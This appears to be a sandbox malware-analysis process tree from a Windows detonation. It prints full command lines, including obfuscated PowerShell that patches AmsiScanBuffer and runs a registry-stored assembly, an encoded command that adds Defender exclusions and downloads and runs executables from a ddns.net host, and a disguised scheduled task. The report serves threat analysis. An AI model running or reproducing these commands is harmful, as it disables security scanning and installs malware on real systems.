  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:hMTpJXFONbLN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$njxrksIFqLOMQP,[Parameter(Position=1)][Type]$BJalBRIFpa)$BAZdeygixpB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'lec'+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'odu'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+'a'+''+'t'+'e'+[Char](84)+'y'+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c'+[Char](44)+''+'S'+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+','+'A'+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+',A'+[Char](117)+'t'+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$BAZdeygixpB.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+'ia'+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+'H'+'i'+''+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+'ig'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$njxrksIFqLOMQP).SetImplementationFlags('R'+'u'+''+'n'+''+'t'+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$BAZdeygixpB.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+[Char](107)+''+[Char](101)+'','Pu'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+'i'+'g'+','+'N'+[Char](101)+'wS'+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$BJalBRIFpa,$njxrksIFqLOMQP).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+'e'+'d');Write-Output $BAZdeygixpB.CreateType();}$RGuMQcNnXvbcs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+'ll')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+'3'+[Char](50)+''+'.'+''+'U'+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+'R'+[Char](71)+''+[Char](117)+''+[Char](77)+''+'Q'+''+[Char](99)+''+[Char](78)+''+[Char](110)+''+[Char](88)+''+[Char](118)+''+'b'+''+[Char](99)+''+'s'+'');$miyXkBhzntDhxj=$RGuMQcNnXvbcs.GetMethod(''+'m'+'i'+[Char](121)+''+[Char](88)+'k'+[Char](66)+''+'h'+'z'+[Char](110)+''+[Char](116)+''+[Char](68)+'h'+'x'+''+[Char](106)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kcquIdFpvFJxfUjdFyc=hMTpJXFONbLN @([String])([IntPtr]);$FogciewHAVGsVjssSBUfnW=hMTpJXFONbLN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pCIpTUILbfo=$RGuMQcNnXvbcs.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+'e'+''+[Char](72)+''+'a'+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+'n'+'el'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+'ll')));$RoykKlsYOAoZwc=$miyXkBhzntDhxj.Invoke($Null,@([Object]$pCIpTUILbfo,[Object](''+'L'+''+'o'+'a'+'d'+'L'+'i'+'b'+[Char](114)+''+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$zTZrtCKbRQJFBZGGg=$miyXkBhzntDhxj.Invoke($Null,@([Object]$pCIpTUILbfo,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+'u'+'a'+'l'+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$XCuWAER=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RoykKlsYOAoZwc,$kcquIdFpvFJxfUjdFyc).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+'.'+'dl'+[Char](108)+'');$AhxoUjNirljpRCUZZ=$miyXkBhzntDhxj.Invoke($Null,@([Object]$XCuWAER,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+'uf'+'f'+''+'e'+''+[Char](114)+'')));$OAFjLUPyiv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zTZrtCKbRQJFBZGGg,$FogciewHAVGsVjssSBUfnW).Invoke($AhxoUjNirljpRCUZZ,[uint32]8,4,[ref]$OAFjLUPyiv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AhxoUjNirljpRCUZZ,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zTZrtCKbRQJFBZGGg,$FogciewHAVGsVjssSBUfnW).Invoke($AhxoUjNirljpRCUZZ,[uint32]8,0x20,[ref]$OAFjLUPyiv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+'A'+'RE').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'st'+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1196
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:vQCGaABBSznw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hcYukOSsxrJMqA,[Parameter(Position=1)][Type]$NHSBTVxcrn)$zdOHyNSFAge=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+'ry'+'M'+'o'+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'at'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+[Char](115)+''+'s'+''+','+'P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+'iC'+'l'+''+'a'+''+'s'+'s'+','+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$zdOHyNSFAge.DefineConstructor(''+'R'+'T'+'S'+''+'p'+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+'a'+''+[Char](109)+'e'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'bli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$hcYukOSsxrJMqA).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+'im'+[Char](101)+','+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$zdOHyNSFAge.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+',Ne'+[Char](119)+'S'+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+'l',$NHSBTVxcrn,$hcYukOSsxrJMqA).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+'i'+'m'+'e'+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $zdOHyNSFAge.CreateType();}$qdXwFavrsLkBg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+''+'t'+'e'+'m'+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+''+'q'+''+'d'+''+[Char](88)+''+[Char](119)+'F'+[Char](97)+'v'+[Char](114)+'s'+[Char](76)+''+[Char](107)+''+[Char](66)+''+[Char](103)+'');$HylAbaTCTlkpBG=$qdXwFavrsLkBg.GetMethod(''+[Char](72)+''+'y'+''+[Char](108)+''+[Char](65)+''+[Char](98)+''+[Char](97)+'TC'+[Char](84)+''+'l'+''+'k'+''+[Char](112)+''+[Char](66)+''+[Char](71)+'',[Reflection.BindingFlags]'P'+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+'at'+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pCTZVcWDDmGlcNGykkE=vQCGaABBSznw @([String])([IntPtr]);$PGfMMYanIGhsBomroGfeTu=vQCGaABBSznw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IetKbQRpyeX=$qdXwFavrsLkBg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+'n'+''+'e'+'l'+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')));$gkbijELFHhFHUU=$HylAbaTCTlkpBG.Invoke($Null,@([Object]$IetKbQRpyeX,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+''+'i'+'brar'+[Char](121)+''+[Char](65)+'')));$AwQloGCxUMCGbQKZL=$HylAbaTCTlkpBG.Invoke($Null,@([Object]$IetKbQRpyeX,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$YBDxiok=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gkbijELFHhFHUU,$pCTZVcWDDmGlcNGykkE).Invoke(''+[Char](97)+'ms'+'i'+''+'.'+''+[Char](100)+''+'l'+'l');$dCsvtyZPBJRFKeMCA=$HylAbaTCTlkpBG.Invoke($Null,@([Object]$YBDxiok,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+'c'+'a'+''+'n'+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$TvUWRhPixI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AwQloGCxUMCGbQKZL,$PGfMMYanIGhsBomroGfeTu).Invoke($dCsvtyZPBJRFKeMCA,[uint32]8,4,[ref]$TvUWRhPixI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dCsvtyZPBJRFKeMCA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AwQloGCxUMCGbQKZL,$PGfMMYanIGhsBomroGfeTu).Invoke($dCsvtyZPBJRFKeMCA,[uint32]8,0x20,[ref]$TvUWRhPixI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1408
- C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
  "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4348
- C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1364
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:8

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2732

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3344
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3344 -s 672
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:4112

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3564

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
PID:3184

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2520

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1020

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4784

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3452
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3452 -s 460
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:4224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3140

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:2824
- C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
  "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4664
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:716
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3256
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2544
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4404
      - C:\Windows\SysWOW64\schtasks.exe
        
